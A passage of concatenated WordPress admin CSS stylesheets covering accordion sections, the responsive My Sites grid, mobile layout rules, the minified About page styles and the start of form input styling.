	top: 12px;
	left: 10px;
	z-index: 1;
}

.accordion-section-title:focus {
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
}

.accordion-section-title:hover:after,
.accordion-section-title:focus:after {
	border-color: #a7aaad transparent;
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
}

.cannot-expand .accordion-section-title {
	cursor: auto;
}

.cannot-expand .accordion-section-title:after {
	display: none;
}

.control-section .accordion-section-title,
.customize-pane-child .accordion-section-title {
	border-right: none;
	border-left: none;
	padding: 10px 14px 11px 10px;
	line-height: 1.55;
	background: #fff;
}

.control-section .accordion-section-title:after,
.customize-pane-child .accordion-section-title:after {
	top: calc(50% - 10px); /* Arrow height is 20px, so use half of that to vertically center */
}

.js .control-section:hover .accordion-section-title,
.js .control-section .accordion-section-title:hover,
.js .control-section.open .accordion-section-title,
.js .control-section .accordion-section-title:focus {
	color: #1d2327;
	background: #f6f7f7;
}

.control-section.open .accordion-section-title {
	/* When expanded */
	border-bottom: 1px solid #dcdcde;
}

/* Edit Site */
.network-admin .edit-site-actions {
	margin-top: 0;
}

/* My Sites */
.my-sites {
	display: block;
	overflow: auto;
	zoom: 1;
}

.my-sites li {
	display: block;
	padding: 8px 3%;
	min-height: 130px;
	margin: 0;
}

@media only screen and (max-width: 599px) {
	.my-sites li {
		min-height: 0;
	}
}

@media only screen and (min-width: 600px) {
	.my-sites.striped li {
		background-color: #fff;
		position: relative;
	}
	.my-sites.striped li:after {
		content: "";
		width: 1px;
		height: 100%;
		position: absolute;
		top: 0;
		left: 0;
		background: #c3c4c7;
	}

}
@media only screen and (min-width: 600px) and (max-width: 699px) {
	.my-sites li{
		float: right;
		width: 44%;
	}
	.my-sites.striped li {
		background-color: #fff;
	}
	.my-sites.striped li:nth-of-type(2n+1) {
		clear: right;
	}
	.my-sites.striped li:nth-of-type(2n+2):after {
		content: none;
	}
	.my-sites li:nth-of-type(4n+1),
	.my-sites li:nth-of-type(4n+2) {
		background-color: #f6f7f7;
	}

}

@media only screen and (min-width: 700px) and (max-width: 1199px) {
	.my-sites li {
		float: right;
		width: 27.333333%;
		background-color: #fff;
	}
	.my-sites.striped li:nth-of-type(3n+3):after {
		content: none;
	}
	.my-sites li:nth-of-type(6n+1),
	.my-sites li:nth-of-type(6n+2),
	.my-sites li:nth-of-type(6n+3) {
		background-color: #f6f7f7;
	}
}

@media only screen and (min-width: 1200px) and (max-width: 1399px) {
	.my-sites li {
		float: right;
		width: 21%;
		padding: 8px 2%;
		background-color: #fff;
	}
	.my-sites.striped li:nth-of-type(4n+1) {
		clear: right;
	}
	.my-sites.striped li:nth-of-type(4n+4):after {
		content: none;
	}
	.my-sites li:nth-of-type(8n+1),
	.my-sites li:nth-of-type(8n+2),
	.my-sites li:nth-of-type(8n+3),
	.my-sites li:nth-of-type(8n+4) {
		background-color: #f6f7f7;
	}
}

@media only screen and (min-width: 1400px) and (max-width: 1599px) {
	.my-sites li {
		float: right;
		width: 16%;
		padding: 8px 2%;
		background-color: #fff;
	}
	.my-sites.striped li:nth-of-type(5n+1) {
		clear: right;
	}
	.my-sites.striped li:nth-of-type(5n+5):after {
		content: none;
	}
	.my-sites li:nth-of-type(10n+1),
	.my-sites li:nth-of-type(10n+2),
	.my-sites li:nth-of-type(10n+3),
	.my-sites li:nth-of-type(10n+4),
	.my-sites li:nth-of-type(10n+5) {
		background-color: #f6f7f7;
	}
}

@media only screen and (min-width: 1600px) {
	.my-sites li {
		float: right;
		width: 12.666666%;
		padding: 8px 2%;
		background-color: #fff;
	}
	.my-sites.striped li:nth-of-type(6n+1) {
		clear: right;
	}
	.my-sites.striped li:nth-of-type(6n+6):after {
		content: none;
	}
	.my-sites li:nth-of-type(12n+1),
	.my-sites li:nth-of-type(12n+2),
	.my-sites li:nth-of-type(12n+3),
	.my-sites li:nth-of-type(12n+4),
	.my-sites li:nth-of-type(12n+5),
	.my-sites li:nth-of-type(12n+6) {
		background-color: #f6f7f7;
	}
}

.my-sites li a {
	text-decoration: none;
}

/* =Media Queries
-------------------------------------------------------------- */

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {
	/* Back-compat for pre-3.8 */
	div.star-holder,
	div.star-holder .star-rating {
		background: url(../images/stars-2x.png?ver=20121108) repeat-x bottom right;
		background-size: 21px 37px;
	}

	.spinner {
		background-image: url(../images/spinner-2x.gif);
	}

}

@media screen and (max-width: 782px) {
	html.wp-toolbar {
		padding-top: 46px;
	}

	.screen-reader-shortcut:focus {
		top: -39px;
	}

	body {
		min-width: 240px;
		overflow-x: hidden;
	}

	body * {
		-webkit-tap-highlight-color: rgba(0, 0, 0, 0) !important;
	}

	#wpcontent {
		position: relative;
		margin-right: 0;
		padding-right: 10px;
	}

	#wpbody-content {
		padding-bottom: 100px;
	}

	.wrap {
		clear: both;
		margin-left: 12px;
		margin-right: 0;
	}

	/* categories */
	#col-left,
	#col-right {
		float: none;
		width: auto;
	}

	#col-left .col-wrap,
	#col-right .col-wrap {
		padding: 0;
	}

	/* Hidden Elements */
	#collapse-menu,
	.post-format-select {
		display: none !important;
	}

	.wrap h1.wp-heading-inline {
		margin-bottom: 0.5em;
	}

	.wrap .add-new-h2, /* deprecated */
	.wrap .add-new-h2:active, /* deprecated */
	.wrap .page-title-action,
	.wrap .page-title-action:active {
		padding: 10px 15px;
		font-size: 14px;
		white-space: nowrap;
	}

	/* Feedback Messages */
	.notice,
	.wrap div.updated,
	.wrap div.error,
	.media-upload-form div.error {
		margin: 20px 0 10px;
		padding: 5px 10px;
		font-size: 14px;
		line-height: 175%;
	}

	.wp-core-ui .notice.is-dismissible {
		padding-left: 46px;
	}

	.notice-dismiss {
		padding: 13px;
	}

	.wrap .icon32 + h2 {
		margin-top: -2px;
	}

	.wp-responsive-open #wpbody {
		left: -16em;
	}

	code {
		word-wrap: break-word;
		word-wrap: anywhere; /* Firefox. Allow breaking long words anywhere */
		word-break: break-word; /* Webkit: Treated similarly to word-wrap: break-word */
	}

	/* General Metabox */
	.postbox {
		font-size: 14px;
	}

	.metabox-holder h3.hndle, /* Back-compat for pre-4.4 */
	.metabox-holder .stuffbox > h3, /* Back-compat for pre-4.4 */
	.metabox-holder .postbox > h3, /* Back-compat for pre-4.4 */
	.metabox-holder h2 {
		padding: 12px;
	}

	.postbox .handlediv {
		margin-top: 3px;
	}

	/* Subsubsub Nav */
	.subsubsub {
		font-size: 16px;
		text-align: center;
		margin-bottom: 15px;
	}

	/* Theme/Plugin File Editor */

	#template textarea,
	#template .CodeMirror {
		box-sizing: border-box;
	}

	#templateside {
		float: none;
		width: auto;
	}

	#templateside > ul {
		border-right: 1px solid #dcdcde;
	}

	#templateside li {
		margin: 0;
	}

	#templateside li:not(.howto) a {
		display: block;
		padding: 5px;
	}
	#templateside li.howto {
		padding: 12px;
	}

	#templateside .highlight {
		padding: 5px;
		margin-right: -5px;
		margin-top: -5px;
	}

	#template > div,
	#template .notice {
		float: none;
		margin: 1em 0;
		width: auto;
	}

	#template .CodeMirror,
	#template textarea {
		width: 100%;
	}

	#templateside ul ul {
		padding-right: 1.5em;
	}
	[role="treeitem"] .folder-label {
		display: block;
		padding: 5px;
	}
	.tree-folder > li::before,
	.tree-folder > li::after,
	.tree-folder .tree-folder::after {
		right: -8px;
	}
	.tree-folder > li::before {
		top: 0;
		height: 13px;
	}
	.tree-folder > .current-file::before {
		right: -5px;
		top: 7px;
		width: 4px;
	}
	.tree-folder > .current-file::after {
		height: 9px;
		right: -8px;
	}
	.wrap #templateside span.notice {
		margin-right: -5px;
		width: 100%;
	}

	.fileedit-sub .alignright {
		float: right;
		margin-top: 15px;
		width: 100%;
		text-align: right;
	}

	.fileedit-sub .alignright label {
		display: block;
	}

	.fileedit-sub #theme,
	.fileedit-sub #plugin {
		margin-right: 0;
		max-width: 70%;
	}

	.fileedit-sub input[type="submit"] {
		margin-bottom: 0;
	}

	#documentation label[for="docs-list"] {
		display: block;
	}

	#documentation select[name="docs-list"] {
		margin-right: 0;
		max-width: 60%;
	}

	#documentation input[type="button"] {
		margin-bottom: 0;
	}

	#wpfooter {
		display: none;
	}

	#comments-form .checkforspam {
		display: none;
	}

	.edit-comment-author {
		margin: 2px 0 0;
	}

	.filter-drawer .filter-group-feature input,
	.filter-drawer .filter-group-feature label {
		line-height: 2.1;
	}

	.filter-drawer .filter-group-feature label {
		margin-right: 32px;
	}

	.wp-filter .button.drawer-toggle {
		font-size: 13px;
		line-height: 2;
		height: 28px;
	}

	/* Fix help tab columns for smaller screens */
	#screen-meta #contextual-help-wrap {
		overflow: visible;
	}

	#screen-meta #contextual-help-back,
	#screen-meta .contextual-help-sidebar {
		display: none;
	}

	#screen-meta .contextual-help-tabs {
		clear: both;
		width: 100%;
		float: none;
	}

	#screen-meta .contextual-help-tabs ul {
		margin: 0 0 1em;
		padding: 1em 0 0;
	}

	#screen-meta .contextual-help-tabs .active {
		margin: 0;
	}

	#screen-meta .contextual-help-tabs-wrap {
		clear: both;
		max-width: 100%;
		float: none;
	}

	#screen-meta,
	#screen-meta-links {
		margin-left: 10px;
	}

	#screen-meta-links {
		margin-bottom: 20px; /* Add margins beneath links for better spacing between boxes and elements */
	}

	.wp-filter .search-form input[type="search"] {
		width: 100%;
		font-size: 1rem;
	}

	.wp-filter .search-form.search-plugins {
		/* This element is a flex item. */
		min-width: 100%;
	}
}

/* Smartphone */
@media screen and (max-width: 600px) {
	/* Disable horizontal scroll when responsive menu is open
	   since we push the main content off to the right. */
	#wpwrap.wp-responsive-open {
		overflow-x: hidden;
	}

	html.wp-toolbar {
		padding-top: 0;
	}

	.screen-reader-shortcut:focus {
		top: 7px;
	}

	#wpbody {
		padding-top: 46px;
	}

	/* Keep full-width boxes on Edit Post page from causing horizontal scroll */
	div#post-body.metabox-holder.columns-1 {
		overflow-x: hidden;
	}

	h1.nav-tab-wrapper,
	.wrap h2.nav-tab-wrapper,
	.nav-tab-wrapper {
		border-bottom: 0;
	}

	h1 .nav-tab,
	h2 .nav-tab,
	h3 .nav-tab,
	nav .nav-tab {
		margin: 10px 0 0 10px;
		border-bottom: 1px solid #c3c4c7;
	}

	.nav-tab-active:hover,
	.nav-tab-active:focus,
	.nav-tab-active:focus:active {
		border-bottom: 1px solid #c3c4c7;
	}
}

@media screen and (max-width: 480px) {
	.metabox-prefs-container {
		display: grid;
	}

	.metabox-prefs-container > * {
		display: inline-block;
		padding: 2px;
	}
}

@media screen and (max-width: 320px) {
	/* Prevent default center alignment and larger font for the Right Now widget when
	   the network dashboard is viewed on a small mobile device. */
	#network_dashboard_right_now .subsubsub {
		font-size: 14px;
		text-align: right;
	}
}
/*! This file is auto-generated */
.about__container{--background:#ededed;--subtle-background:#eef0fd;--text:#1e1e1e;--text-light:#fff;--accent-1:#3858e9;--accent-2:#3858e9;--accent-3:#ededed;--nav-background:#fff;--nav-border:transparent;--nav-color:var(--text);--nav-current:var(--accent-1);--border-radius:16px;--gap:2rem}.about-php,.contribute-php,.credits-php,.freedoms-php,.privacy-php{background:#fff}.about-php #wpcontent,.contribute-php #wpcontent,.credits-php #wpcontent,.freedoms-php #wpcontent,.privacy-php #wpcontent{background:#fff;padding:0 24px}@media screen and (max-width:782px){.about-php.auto-fold #wpcontent,.contribute-php.auto-fold #wpcontent,.credits-php.auto-fold #wpcontent,.freedoms-php.auto-fold #wpcontent,.privacy-php.auto-fold #wpcontent{padding-left:24px}}.about__container{max-width:1000px;margin:24px auto;clear:both}.about__container .alignleft{float:left}.about__container .alignright{float:right}.about__container .aligncenter{text-align:center}.about__container .is-vertically-aligned-top{align-self:start}.about__container .is-vertically-aligned-center{align-self:center}.about__container .is-vertically-aligned-bottom{align-self:end}.about__section{background:0 0;clear:both}.about__container .has-accent-background-color{color:var(--text-light);background-color:var(--accent-2)}.about__container .has-transparent-background-color{background-color:transparent}.about__container .has-accent-color{color:var(--accent-2)}.about__container .has-border{border:3px solid currentColor}.about__container .has-subtle-background-color{background-color:var(--subtle-background)}.about__container .has-background-image{background-size:contain;background-repeat:no-repeat;background-position:center}.about__section{margin:0}.about__section .column:not(.is-edge-to-edge){padding:var(--gap)}.about__section+.about__section .is-section-header{padding-bottom:var(--gap)}.about__section .column.has-border:not(.is-edge-to-edge),.about__section .column[class*=background-color]:not(.is-edge-to-edge),.about__section:where([class*=background-color]) .column:not(.is-edge-to-edge){padding-top:var(--gap);padding-bottom:var(--gap)}.about__section .column p:first-of-type{margin-top:0}.about__section .column p:last-of-type{margin-bottom:0}.about__section .has-text-columns{columns:2;column-gap:calc(var(--gap) * 2)}.about__section .is-section-header{margin-bottom:0;padding:var(--gap) var(--gap) 0}.about__section .is-section-header p:last-child{margin-bottom:0}.about__section .is-section-header:first-child:last-child{padding:0}.about__section.is-feature{padding:var(--gap)}.about__section.is-feature p{margin:0}.about__section.is-feature p+p{margin-top:calc(var(--gap)/ 2)}.about__section.has-1-column{margin-left:auto;margin-right:auto;max-width:36em}.about__section.has-2-columns,.about__section.has-3-columns,.about__section.has-4-columns,.about__section.has-overlap-style{display:grid}.about__section.has-gutters{gap:var(--gap);margin-bottom:var(--gap)}.about__section.has-2-columns{grid-template-columns:1fr 1fr}.about__section.has-2-columns.is-wider-right{grid-template-columns:2fr 3fr}.about__section.has-2-columns.is-wider-left{grid-template-columns:3fr 2fr}.about__section .is-section-header{grid-column-start:1;grid-column-end:-1}.about__section.has-3-columns{grid-template-columns:repeat(3,1fr)}.about__section.has-4-columns{grid-template-columns:repeat(4,1fr)}.about__section.has-overlap-style{grid-template-columns:repeat(7,1fr)}.about__section.has-overlap-style .column{grid-row-start:1}.about__section.has-overlap-style .column:nth-of-type(odd){grid-column-start:2;grid-column-end:span 3}.about__section.has-overlap-style .column:nth-of-type(2n){grid-column-start:4;grid-column-end:span 3}.about__section.has-overlap-style .column.is-top-layer{z-index:1}@media screen and (max-width:782px){.about__section.has-2-columns.is-wider-left,.about__section.has-2-columns.is-wider-right,.about__section.has-3-columns{display:block;margin-bottom:calc(var(--gap)/ 2)}.about__section .column:not(.is-edge-to-edge){padding-top:var(--gap);padding-bottom:var(--gap)}.about__section.has-2-columns.has-gutters.is-wider-left,.about__section.has-2-columns.has-gutters.is-wider-right,.about__section.has-3-columns.has-gutters{margin-bottom:calc(var(--gap) * 2)}.about__section.has-2-columns.has-gutters .column,.about__section.has-3-columns.has-gutters .column{margin-bottom:var(--gap)}.about__section.has-2-columns.has-gutters .column:last-child,.about__section.has-3-columns.has-gutters .column:last-child{margin-bottom:0}.about__section.has-3-columns .column:nth-of-type(n){padding-top:calc(var(--gap)/ 2);padding-bottom:calc(var(--gap)/ 2)}.about__section.has-4-columns{grid-template-columns:repeat(2,1fr)}.about__section.has-overlap-style{grid-template-columns:1fr}.about__section.has-overlap-style .column.column{grid-column-start:1;grid-column-end:2;grid-row-start:1;grid-row-end:2}}@media screen and (max-width:600px){.about__section.has-2-columns{display:block;margin-bottom:var(--gap)}.about__section.has-2-columns:not(.has-gutters) .column:nth-of-type(n){padding-top:calc(var(--gap)/ 2);padding-bottom:calc(var(--gap)/ 2)}.about__section.has-2-columns.has-gutters{margin-bottom:calc(var(--gap) * 2)}.about__section.has-2-columns.has-gutters .column{margin-bottom:var(--gap)}.about__section.has-2-columns.has-gutters .column:last-child{margin-bottom:0}}@media screen and (max-width:480px){.about__section.is-feature .column{padding:0}.about__section.has-4-columns{display:block;padding-bottom:calc(var(--gap)/ 2)}.about__section.has-4-columns.has-gutters .column{margin-bottom:calc(var(--gap)/ 2)}.about__section.has-4-columns.has-gutters .column:last-child{margin-bottom:0}.about__section.has-4-columns .column:nth-of-type(n){padding-top:calc(var(--gap)/ 2);padding-bottom:calc(var(--gap)/ 2)}}.about__container{line-height:1.4;color:var(--text)}.about__container h1{padding:0}.about__container h1,.about__container h2,.about__container h3.is-larger-heading{margin-top:0;margin-bottom:.5em;font-size:2rem;font-weight:700;line-height:1.16}.about__container h1.is-smaller-heading,.about__container h2.is-smaller-heading,.about__container h3{margin-top:0;font-size:1.625rem;font-weight:700;line-height:1.4}.about__container h3.is-smaller-heading,.about__container h4{margin-top:0;font-size:1.125rem;font-weight:600;line-height:1.6}.about__container h1,.about__container h2,.about__container h3,.about__container h4{text-wrap:balance;color:inherit}.about__container p{text-wrap:pretty}.about__container p{font-size:inherit;line-height:inherit}.about__container p.is-subheading{margin-top:0;font-size:1.5rem;font-weight:300;line-height:160%}.about__section a{color:var(--accent-1);text-decoration:underline}.about__section a:active,.about__section a:focus,.about__section a:hover{color:var(--accent-1);text-decoration:none}.wp-credits-list a{text-decoration:none}.wp-credits-list a:active,.wp-credits-list a:focus,.wp-credits-list a:hover{text-decoration:underline}.about__container ul{list-style:disc;margin-left:calc(var(--gap)/ 2)}.about__container li{margin-bottom:.5rem}.about__container img{margin:0;max-width:100%;vertical-align:middle}.about__container .about__image{margin:0}.about__container .about__image img{max-width:100%;width:100%;height:auto;border-radius:var(--border-radius)}.about__container .about__image figcaption{margin-top:.5em;text-align:center}.about__container .about__image .wp-video{margin-left:auto;margin-right:auto}.about__container .about__image svg{vertical-align:middle}.about__container .about__image+h3{margin-top:1.5em}.about__container hr{margin:calc(var(--gap)/ 2) var(--gap);height:0;border:none;border-top:4px solid var(--accent-3)}.about__container hr.is-small{margin-top:0;margin-bottom:0}.about__container hr.is-large{margin:var(--gap) auto}.about__container .notice,.about__container div.error,.about__container div.updated{display:none!important}.about__container code{font-size:inherit}.about__section{font-size:1.125rem;line-height:1.55}.about__section.is-feature{font-size:1.6em}.about__section.has-3-columns,.about__section.has-4-columns{font-size:1rem}@media screen and (max-width:480px){.about__section.is-feature{font-size:1.4em}.about__container h1,.about__container h2,.about__container h3.is-larger-heading{font-size:2em}}.about__header{position:relative;display:flex;flex-direction:column;align-items:flex-start;justify-content:flex-end;box-sizing:border-box;padding:calc(var(--gap) * 1.5);min-height:clamp(10rem,25vw,18.75rem);border-radius:var(--border-radius);background-repeat:no-repeat;background-position:right 7% center,top left;background-color:var(--background)}.about__header-image{margin:0 var(--gap) 3em}.about__header-title{box-sizing:border-box;margin:0;padding:0}.about__header-title h1{margin:0;padding:0;font-size:clamp(2rem, 20vw - 9rem, 4rem);line-height:1;font-weight:600}.about-php .about__header-title h1,.contribute-php .about__header-title h1,.credits-php .about__header-title h1,.freedoms-php .about__header-title h1,.privacy-php .about__header-title h1{font-size:clamp(2rem, 10vw - 3rem, 4rem)}.about__header-text{box-sizing:border-box;max-width:26em;margin:1rem 0 0;padding:0;font-size:1.6rem;line-height:1.15}.about__header-navigation{position:relative;z-index:1;display:flex;flex-wrap:wrap;justify-content:space-between;padding-top:0;margin-bottom:var(--gap);background:var(--nav-background);color:var(--nav-color);border-bottom:3px solid var(--nav-border)}.about__header-navigation::after{display:none}.about__header-navigation .nav-tab{margin-left:0;padding:calc(var(--gap) * .75) var(--gap);float:none;font-size:1.4em;line-height:1;border-width:0 0 3px;border-style:solid;border-color:transparent;background:0 0;color:inherit}.about__header-navigation .nav-tab:active,.about__header-navigation .nav-tab:hover{background-color:var(--nav-current);color:var(--text-light)}.about__header-navigation .nav-tab-active{margin-bottom:-3px;color:var(--nav-current);border-width:0 0 6px;border-color:var(--nav-current)}.about__header-navigation .nav-tab-active:active,.about__header-navigation .nav-tab-active:hover{background-color:var(--nav-current);color:var(--text-light);border-color:var(--nav-current)}@media screen and (max-width:960px){.about-php .about__header-title h1,.contribute-php .about__header-title h1,.credits-php .about__header-title h1,.freedoms-php .about__header-title h1,.privacy-php .about__header-title h1{font-size:clamp(3rem, 6.67vw - .5rem, 4.5rem)}.about__header-navigation .nav-tab{padding:calc(var(--gap) * .75) calc(var(--gap) * .5)}}@media screen and (max-width:782px){.about__container .about__header-text{font-size:1.4em}.about__header-container{display:block}.about__header{padding:var(--gap)}.about__header-text{margin-top:.5rem}.about__header-navigation .nav-tab{margin-top:0;margin-right:0;font-size:1.2em}}@media screen and (max-width:600px){.about__header{min-height:auto}.about__header,.contribute-php .about__header,.credits-php .about__header,.freedoms-php .about__header,.privacy-php .about__header{background-image:none}.about__header-navigation{display:block}.about__header-navigation .nav-tab{display:block;margin-bottom:0;padding:calc(var(--gap)/ 2);border-left-width:6px;border-bottom:none}.about__header-navigation .nav-tab-active{border-bottom:none;border-left-width:6px}}.about__section .wp-people-group-title{margin-bottom:calc(var(--gap) * 2 - 10px);text-align:center}.about__section .wp-people-group{margin:0;display:flex;flex-wrap:wrap}.about__section .wp-person{display:inline-block;vertical-align:top;box-sizing:border-box;margin-bottom:calc(var(--gap) - 10px);width:25%;text-align:center}.about__section .compact .wp-person{height:auto;width:20%}.about__section .wp-person-avatar{display:block;margin:0 auto calc(var(--gap)/ 2);width:140px;height:140px;border-radius:100%;overflow:hidden}.about__section .wp-person .gravatar{width:140px;height:140px;filter:grayscale(100%)}.about__section .compact .wp-person .gravatar,.about__section .compact .wp-person-avatar{width:80px;height:80px}.about__section .wp-person .web{display:block;font-size:1.4em;font-weight:600;padding:10px 10px 0;text-decoration:none}.about__section .wp-person .web:hover{text-decoration:underline}.about__section .compact .wp-person .web{font-size:1.2em}.about__section .wp-person .title{display:block;margin-top:.5em}@media screen and (max-width:782px){.about__section .wp-person{width:33%}.about__section .compact .wp-person{width:25%}.about__section .wp-person .gravatar,.about__section .wp-person-avatar{width:120px;height:120px}}@media screen and (max-width:600px){.about__section .wp-person{width:50%}.about__section .compact .wp-person{width:33%}.about__section .wp-person .web{font-size:1.2em}}@media screen and (max-width:480px){.about__section .wp-person{min-width:100%}.about__section .wp-person .web{font-size:1em}.about__section .compact .wp-person .web{font-size:1em}}.about__section .column .freedom-image{margin-bottom:var(--gap);max-height:180px}.about__section .column .privacy-image{display:block;margin-left:auto;margin-right:auto;max-width:25rem}.about-wrap{position:relative;margin:25px 40px 0 20px;max-width:1050px;font-size:15px}.about-wrap.full-width-layout{max-width:1200px}.about-wrap-content{max-width:1050px}.about-wrap .notice,.about-wrap div.error,.about-wrap div.updated{display:none!important}.about-wrap hr{border:0;height:0;margin:3em 0 0;border-top:1px solid rgba(0,0,0,.1)}.about-wrap img{margin:0;width:100%;height:auto;vertical-align:middle}.about-wrap .inline-svg img{max-width:100%;width:auto;height:auto}.about-wrap video{margin:1.5em auto}.wp-badge{background:#0073aa url(../images/w-logo-white.png?ver=20160308) no-repeat;background-position:center 25px;background-size:80px 80px;color:#fff;font-size:14px;text-align:center;font-weight:600;margin:5px 0 0;padding-top:120px;height:40px;display:inline-block;width:140px;text-rendering:optimizeLegibility;box-shadow:0 1px 3px rgba(0,0,0,.2)}.svg .wp-badge{background-image:url(../images/wordpress-logo-white.svg?ver=20160308)}.about-wrap .wp-badge{position:absolute;top:0;right:0}.about-wrap .nav-tab{padding-right:15px;padding-left:15px;font-size:18px;line-height:1.33333333}.about-wrap h1{margin:.2em 200px 0 0;padding:0;color:#32373c;line-height:1.2;font-size:2.8em;font-weight:400}.about-wrap h2{margin:40px 0 .6em;font-size:2.7em;line-height:1.3;font-weight:300;text-align:center}.about-wrap h3{margin:1.25em 0 .6em;font-size:1.4em;line-height:1.5}.about-wrap h4{font-size:16px;color:#23282d}.about-wrap p{line-height:1.5;font-size:16px}.about-wrap code,.about-wrap ol li p{font-size:14px;font-weight:400}.about-wrap figcaption{font-size:13px;text-align:center;color:#fff;text-overflow:ellipsis}.about-wrap .about-description,.about-wrap .about-text{margin-top:1.4em;font-weight:400;line-height:1.6;font-size:19px}.about-wrap .about-text{margin:1em 200px 1em 0;color:#555d66}.about-wrap .has-1-columns,.about-wrap .has-2-columns,.about-wrap .has-3-columns,.about-wrap .has-4-columns{display:grid;max-width:800px;margin-top:40px;margin-left:auto;margin-right:auto}.about-wrap .column{margin-right:20px;margin-left:20px}.about-wrap .is-wide{max-width:760px}.about-wrap .is-fullwidth{max-width:100%}.about-wrap .has-1-columns{display:block;max-width:680px;margin:0 auto 40px}.about-wrap .has-2-columns{grid-template-columns:1fr 1fr}.about-wrap .has-2-columns .column:nth-of-type(odd){grid-column-start:1}.about-wrap .has-2-columns .column:nth-of-type(2n){grid-column-start:2}.about-wrap .has-2-columns.is-wider-right{grid-template-columns:1fr 2fr}.about-wrap .has-2-columns.is-wider-left{grid-template-columns:2fr 1fr}.about-wrap .has-3-columns{grid-template-columns:repeat(3,1fr)}.about-wrap .has-3-columns .column:nth-of-type(3n+1){grid-column-start:1}.about-wrap .has-3-columns .column:nth-of-type(3n+2){grid-column-start:2}.about-wrap .has-3-columns .column:nth-of-type(3n){grid-column-start:3}.about-wrap .has-4-columns{grid-template-columns:repeat(4,1fr)}.about-wrap .has-4-columns .column:nth-of-type(4n+1){grid-column-start:1}.about-wrap .has-4-columns .column:nth-of-type(4n+2){grid-column-start:2}.about-wrap .has-4-columns .column:nth-of-type(4n+3){grid-column-start:3}.about-wrap .has-4-columns .column:nth-of-type(4n){grid-column-start:4}.about-wrap .column :first-child{margin-top:0}.about-wrap .aligncenter{text-align:center}.about-wrap .alignleft{float:left;margin-right:40px}.about-wrap .alignright{float:right;margin-left:40px}.about-wrap .is-vertically-aligned-top{align-self:flex-start}.about-wrap .is-vertically-aligned-center{align-self:center}.about-wrap .is-vertically-aligned-bottom{align-self:end}.about-wrap .point-releases{margin-top:5px;border-bottom:1px solid #ddd}.about-wrap .changelog{margin-bottom:40px}.about-wrap .changelog.point-releases h3{padding-top:35px}.about-wrap .changelog.point-releases h3:first-child{padding-top:7px}.about-wrap .changelog.feature-section .col{margin-top:40px}.about-wrap .lead-description{font-size:1.5em;text-align:center}.about-wrap .feature-section p{margin-top:.6em}.about-wrap .headline-feature{margin:0 auto 40px;max-width:680px}.about-wrap .headline-feature h2{margin:50px 0 0}.about-wrap .headline-feature img{max-width:600px;width:100%}.about-wrap .return-to-dashboard{margin:30px 0 0 -5px;font-size:14px;font-weight:600}.about-wrap .return-to-dashboard a{text-decoration:none;padding:0 5px}.about-wrap h2.wp-people-group{margin:2.6em 0 1.33em;padding:0;font-size:16px;line-height:inherit;font-weight:600;text-align:left}.about-wrap .wp-people-group{padding:0 5px;margin:0 -15px 0 -5px}.about-wrap .compact{margin-bottom:0}.about-wrap .wp-person{display:inline-block;vertical-align:top;margin-right:10px;padding-bottom:15px;height:70px;width:280px}.about-wrap .compact .wp-person{height:auto;width:180px;padding-bottom:0;margin-bottom:0}.about-wrap .wp-person .gravatar{float:left;margin:0 10px 10px 0;padding:1px;width:60px;height:60px}.about-wrap .compact .wp-person .gravatar{width:30px;height:30px}.about-wrap .wp-person .web{margin:6px 0 2px;font-size:16px;font-weight:400;line-height:2;text-decoration:none}.about-wrap .wp-person .title{display:block}.about-wrap #wp-people-group-validators+p.wp-credits-list{margin-top:0}.about-wrap p.wp-credits-list a{white-space:nowrap}.freedoms-php .about-wrap ol{margin:40px 60px}.freedoms-php .about-wrap ol li{list-style-type:decimal;font-weight:600}.freedoms-php .about-wrap ol p{font-weight:400;margin:.6em 0}.freedoms-php .column .freedoms-image{background-image:url('../images/freedoms.png');background-size:100%;padding-top:100%}.freedoms-php .column:nth-of-type(2) .freedoms-image{background-position:0 34%}.freedoms-php .column:nth-of-type(3) .freedoms-image{background-position:0 66%}.freedoms-php .column:nth-of-type(4) .freedoms-image{background-position:0 100%}@media screen and (max-width:782px){.about-wrap .has-3-columns,.about-wrap .has-4-columns{grid-template-columns:1fr 1fr}.about-wrap .has-3-columns .column:nth-of-type(3n+1),.about-wrap .has-4-columns .column:nth-of-type(4n+1){grid-column-start:1;grid-row-start:1}.about-wrap .has-3-columns .column:nth-of-type(3n+2),.about-wrap .has-4-columns .column:nth-of-type(4n+2){grid-column-start:2;grid-row-start:1}.about-wrap .has-3-columns .column:nth-of-type(3n),.about-wrap .has-4-columns .column:nth-of-type(4n+3){grid-column-start:1;grid-row-start:2}.about-wrap .has-4-columns .column:nth-of-type(4n){grid-column-start:2;grid-row-start:2}}@media screen and (max-width:600px){.about-wrap .has-2-columns,.about-wrap .has-3-columns,.about-wrap .has-4-columns{display:block}.about-wrap :not(.is-wider-right):not(.is-wider-left) .column{margin-right:0;margin-left:0}.about-wrap .has-2-columns.is-wider-left,.about-wrap .has-2-columns.is-wider-right{display:grid}}@media only screen and (max-width:500px){.about-wrap{margin-right:20px;margin-left:10px}.about-wrap .about-text,.about-wrap h1{margin-right:0}.about-wrap .about-text{margin-bottom:.25em}.about-wrap .wp-badge{position:relative;margin-bottom:1.5em;width:100%}}@media only screen and (max-width:480px){.about-wrap .has-2-columns.is-wider-left,.about-wrap .has-2-columns.is-wider-right{display:block}.about-wrap .column{margin-right:0;margin-left:0}.about-wrap .has-2-columns.is-wider-left img,.about-wrap .has-2-columns.is-wider-right img{max-width:160px}}/*! This file is auto-generated */
/* Include margin and padding in the width calculation of input and textarea. */
input,
select,
textarea,
button {
	box-sizing: border-box;
	font-family: inherit;
	font-size: inherit;
	font-weight: inherit;
}

textarea,
input {
	font-size: 14px;
}

textarea {
	overflow: auto;
	padding: 2px 6px;
	/* inherits font size 14px */
	line-height: 1.42857143; /* 20px */
	resize: vertical;
}

input,
select {
	margin: 0 1px;
}

textarea.code {
	padding: 4px 6px 1px;
}

input[type="text"],
input[type="password"],
input[type="color"],
input[type="date"],
input[type="datetime"],
input[type="datetime-local"],
input[type="email"],
input[type="month"],
input[type="number"],
input[type="search"],
input[type="tel"],
input[type="time"],
input[type="url"],
input[type="week"],
select,
textarea {
	box-shadow: 0 0 0 transparent;
	border-radius: 4px;
	border: 1px solid #8c8f94;
	background-color: #fff;
	color: #2c3338;
}

input[type="text"],
input[type="password"],
input[type="date"],
input[type="datetime"],
input[type="datetime-local"],
input[type="email"],
input[type="month"],
input[type="number"],
input[type="search"],
input[type="tel"],
input[type="time"],
input[type="url"],
input[type="week"] {
	padding: 0 8px;
